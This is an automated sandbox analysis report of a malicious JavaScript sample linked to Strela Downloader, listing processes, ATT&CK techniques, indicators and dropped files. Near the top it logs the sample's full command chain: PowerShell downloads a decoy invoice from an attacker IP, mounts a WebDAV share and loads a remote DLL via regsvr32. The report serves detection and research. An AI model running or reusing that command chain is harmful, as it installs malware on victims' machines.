Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11016164386971.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2153616741885716229.js	0%	ReversingLabs
2153616741885716229.js	5%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/j	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/R	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.26	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205:8888/j	net.exe, 00000006.00000003.1792584985.000002177CAA0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1795308511.000002177CAA0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000008.00000002.3023784843.000002326CC00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1791376615.000002326CEC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000003.1792584985.000002177CAA0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1789660628.000002177CACD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1795260469.000002177CA78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1795308511.000002177CAA0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/R	net.exe, 00000006.00000003.1792584985.000002177CAA0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1795308511.000002177CAA0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1791376615.000002326CEC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587836
Start date and time:	2025-01-10 18:25:35 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2153616741885716229.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 54.224.241.105, 50.16.47.176, 18.213.11.84, 34.237.241.83, 2.16.168.105, 2.16.168.107, 23.209.209.135, 217.20.57.26, 184.28.90.27, 20.109.210.53, 23.56.162.204, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:26:34	API Interceptor	23x Sleep call for process: powershell.exe modified
12:26:38	API Interceptor	1x Sleep call for process: net.exe modified
12:26:38	API Interceptor	2x Sleep call for process: svchost.exe modified
12:26:45	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1474915939307712026.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	251443863021115246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.34
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.18
	1495528197325499932.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.34
	31903173511658621632.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.19
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.19
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	hy09j7Q8kJ.exe	Get hash	malicious	FormBook	Browse	217.20.57.35
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.34
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.39
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.43

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1515610719364115693.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	280109871157958128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	229242754773566299.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	17048156412338914445.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	21787281582160623337.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2553416555111621752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073625319508466
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvri:KooCEYhgYEL0In
MD5:	88672BF7517DAD40D750BC93414E500B
SHA1:	07467DD99D64C7503E31F56F58039DF0F7B33DCA
SHA-256:	43B74A2228705828565E34F1B07AEFD054F61937720AD7BE13FA1BD162266845
SHA-512:	4B2A4B6E6BF626E94FF691B2895C22D8C80EC9C8BC65650E660144100F75C79E2C433A64C3D35DB7ACFC80DE46DA5AC7B91BDA4170B206A664DAEA95CA21FFDE
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x206b6392, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.422137727186465
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:paza/vMUM2Uvz7DO
MD5:	D40D3010AA16837A7F133580C426EF45
SHA1:	114FF66EBD1B2D8ABF652025835B1BDB6B23F1D0
SHA-256:	73D1412E565C78835A906A3C9012307FFE212EC4A4C409A3A8414F34FB5D21B3
SHA-512:	2BD84B3E1A2DBFD320649F78FE34C2A61C9A5D394232AA75001458E1D3FF28D8FBE0563AB49425548C67CFACD66C85BC6042867119B3777AF9C4B10997A6F903
Malicious:	false
Preview:	kc.... .......A.......X\...;...{......................0.!..........{A.&....}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{....................................i.&....}......................&....}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07671758342252949
Encrypted:	false
SSDEEP:	3:rOiyYe0axjn13a/d8jjYoXlollcVO/lnlZMxZNQl:Xyz753q+IoeOewk
MD5:	D914872D7E780B09D0BBFAC2E98B1CAF
SHA1:	843C4044254167DA8962780CD83E97ACD89C5743
SHA-256:	321F8525A89EF66308E890266526E179A99BF4FE10A019E64186F34CD9FD9423
SHA-512:	773615440D2A0B50B8A74047A587AA93D688F06A839FEEE6BFCF0E6D0453E148583C2E5F5AE6F2F20A4A3DCBA4C62607DBFAEEFD99D107204899360CC5F0E895
Malicious:	false
Preview:	..R......................................;...{..&....}.......{A..............{A......{A..........{A]....................&....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.21444766902627
Encrypted:	false
SSDEEP:	6:iO4FIurIq2Pwkn2nKuAl9OmbnIFUtSFR2ZmwsFRKkwOwkn2nKuAl9OmbjLJ:7fuEvYfHAahFUtq2/IK5JfHAaSJ
MD5:	3579C99211E55ABD72E917A9285FFA4C
SHA1:	1955E7F78B1D730A5F411AB3ACDB1E03D0EBCB6D
SHA-256:	947D90BD167BE04780E26C8D28727A1781E78C2846400BAE50483C88A7B7747D
SHA-512:	F94E9095FA8C9CBE73EFC8A4CE968161BB03162694BE2CE3FA93E9D0C2DAF35334C07A1562105EBFF683D95861149954A07731C658DAAEC57F58A80ABF9A3FD0
Malicious:	false
Preview:	2025/01/10-12:26:37.968 1750 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:26:37.972 1750 Recovering log #3.2025/01/10-12:26:37.972 1750 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.21444766902627
Encrypted:	false
SSDEEP:	6:iO4FIurIq2Pwkn2nKuAl9OmbnIFUtSFR2ZmwsFRKkwOwkn2nKuAl9OmbjLJ:7fuEvYfHAahFUtq2/IK5JfHAaSJ
MD5:	3579C99211E55ABD72E917A9285FFA4C
SHA1:	1955E7F78B1D730A5F411AB3ACDB1E03D0EBCB6D
SHA-256:	947D90BD167BE04780E26C8D28727A1781E78C2846400BAE50483C88A7B7747D
SHA-512:	F94E9095FA8C9CBE73EFC8A4CE968161BB03162694BE2CE3FA93E9D0C2DAF35334C07A1562105EBFF683D95861149954A07731C658DAAEC57F58A80ABF9A3FD0
Malicious:	false
Preview:	2025/01/10-12:26:37.968 1750 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-12:26:37.972 1750 Recovering log #3.2025/01/10-12:26:37.972 1750 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.163167103170743
Encrypted:	false
SSDEEP:	6:iO4FSP+q2Pwkn2nKuAl9Ombzo2jMGIFUtSFvUAZmwsFWuUd3VkwOwkn2nKuAl9OU:7IvYfHAa8uFUty/IEF5JfHAa8RJ
MD5:	DF774C6E81B6AC29837A02CFB0979EB8
SHA1:	36AE1A330E30609D4431836880D7EA926DC9C5F3
SHA-256:	2A604C654AA4FDC00804D1FA5584A60FDEB570F72014729EFE2712B84DFE4538
SHA-512:	3F96B387B535A1D744F480257256F3D0764DACB99E51AB6C1FE64C94E09856391E1B78512CBEEBFE35A8777484811FD8BCB74509A281381764B2FC8D2D4090C7
Malicious:	false
Preview:	2025/01/10-12:26:38.082 1cf8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:26:38.085 1cf8 Recovering log #3.2025/01/10-12:26:38.086 1cf8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.163167103170743
Encrypted:	false
SSDEEP:	6:iO4FSP+q2Pwkn2nKuAl9Ombzo2jMGIFUtSFvUAZmwsFWuUd3VkwOwkn2nKuAl9OU:7IvYfHAa8uFUty/IEF5JfHAa8RJ
MD5:	DF774C6E81B6AC29837A02CFB0979EB8
SHA1:	36AE1A330E30609D4431836880D7EA926DC9C5F3
SHA-256:	2A604C654AA4FDC00804D1FA5584A60FDEB570F72014729EFE2712B84DFE4538
SHA-512:	3F96B387B535A1D744F480257256F3D0764DACB99E51AB6C1FE64C94E09856391E1B78512CBEEBFE35A8777484811FD8BCB74509A281381764B2FC8D2D4090C7
Malicious:	false
Preview:	2025/01/10-12:26:38.082 1cf8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:26:38.085 1cf8 Recovering log #3.2025/01/10-12:26:38.086 1cf8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5ed872cd-38d5-4f76-b1cf-351917924b29.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9729052853641855
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1g5sBdOg2HVcaq3QYiubInP7E4T3y:Y2sRdsagqdMHU3QYhbG7nby
MD5:	62209757F8CB7A6ADFF150A809700A2E
SHA1:	7609DF72911EE26B0DE167FB3A1D1836806A2111
SHA-256:	B68315383A508F9C4C96F0B2334ABAD6FAD119325906FBDE8EA1F2CBADA9235A
SHA-512:	FB64DA612FC55F7B169AA45964EA4826E6F7863CBE0F14E845769322D71232E606B2AF3E739AC6A1AD094D9FE7AAC448E20B8BE2CCA6CBEBFB2CAABE220E7448
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381090009761273","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":143591},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdsVdMHO3QYhbG7nby
MD5:	2B2DD4FFCADFFFA544C423CE65A911E2
SHA1:	3C690C4670D732A1F54C5BD0B93A7CFF6CA96720
SHA-256:	7ACAC2E53C854E8000F43FE4CB549E82A2B9F6A957366C429ABB730EE326CBD0
SHA-512:	51D13C2DCDFB21C1C0F1756DA980098861148C6CE5CBB18F8D6247FB33D1037B60EB4CE27C7AC482D705509BD1BDF1EDDBC619CC6D6610A3EED3F2AAD0185C50
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6c39a0.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdsVdMHO3QYhbG7nby
MD5:	2B2DD4FFCADFFFA544C423CE65A911E2
SHA1:	3C690C4670D732A1F54C5BD0B93A7CFF6CA96720
SHA-256:	7ACAC2E53C854E8000F43FE4CB549E82A2B9F6A957366C429ABB730EE326CBD0
SHA-512:	51D13C2DCDFB21C1C0F1756DA980098861148C6CE5CBB18F8D6247FB33D1037B60EB4CE27C7AC482D705509BD1BDF1EDDBC619CC6D6610A3EED3F2AAD0185C50
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b919248e-3e6c-4677-ab5b-5e6dfb99f153.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966895279106768
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2HHfcaq3QYiubInP7E4T3y:Y2sRdsVdMHO3QYhbG7nby
MD5:	2B2DD4FFCADFFFA544C423CE65A911E2
SHA1:	3C690C4670D732A1F54C5BD0B93A7CFF6CA96720
SHA-256:	7ACAC2E53C854E8000F43FE4CB549E82A2B9F6A957366C429ABB730EE326CBD0
SHA-512:	51D13C2DCDFB21C1C0F1756DA980098861148C6CE5CBB18F8D6247FB33D1037B60EB4CE27C7AC482D705509BD1BDF1EDDBC619CC6D6610A3EED3F2AAD0185C50
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13340980889952523","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146406},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.256010422256711
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7NCMpIvB:etJCV4FiN/jTN/2r8Mta02fEhgO73goK
MD5:	456254B6EA0F895CB7503B41A4A31DF3
SHA1:	4533B8385E9D6516DB8EBC85B15D170B71C6264F
SHA-256:	617FE9520BDFB08A1105C291830AF756E0B52EBF9D427062F556DBFE7E9B95C7
SHA-512:	A54AEB64327C3C4AF14BE1509B5B3A11FA57154A1EDB0DB4A17EBC4E2558CCE82AEE7BA2501B453AF80FCEBE712B6BCC868ED210CD03F8B2A43279F728F23444
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.211757756838497
Encrypted:	false
SSDEEP:	6:iO4FHwR+q2Pwkn2nKuAl9OmbzNMxIFUtSFHrZmwsFH8VkwOwkn2nKuAl9OmbzNMT:7KvYfHAa8jFUtU/P5JfHAa84J
MD5:	0B7638B3F6EF35BAF0F0FBF5C8F7FBCC
SHA1:	F44A3D4F933336A8E0BF59252E31941B153368A3
SHA-256:	4254802215329776474AF21504C8E4D32299B2C22E24F35EF9E4F64606CABA0A
SHA-512:	174B8DECD7BF6294E77E18D2A1C28F47100D68034AE99D011FB29D6B9B37205C6B3A55143E9D5BF89DEDC1FF6E0E570EB1EFA303D457F16560A4568C690D6067
Malicious:	false
Preview:	2025/01/10-12:26:38.295 1cf8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:26:38.296 1cf8 Recovering log #3.2025/01/10-12:26:38.297 1cf8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.211757756838497
Encrypted:	false
SSDEEP:	6:iO4FHwR+q2Pwkn2nKuAl9OmbzNMxIFUtSFHrZmwsFH8VkwOwkn2nKuAl9OmbzNMT:7KvYfHAa8jFUtU/P5JfHAa84J
MD5:	0B7638B3F6EF35BAF0F0FBF5C8F7FBCC
SHA1:	F44A3D4F933336A8E0BF59252E31941B153368A3
SHA-256:	4254802215329776474AF21504C8E4D32299B2C22E24F35EF9E4F64606CABA0A
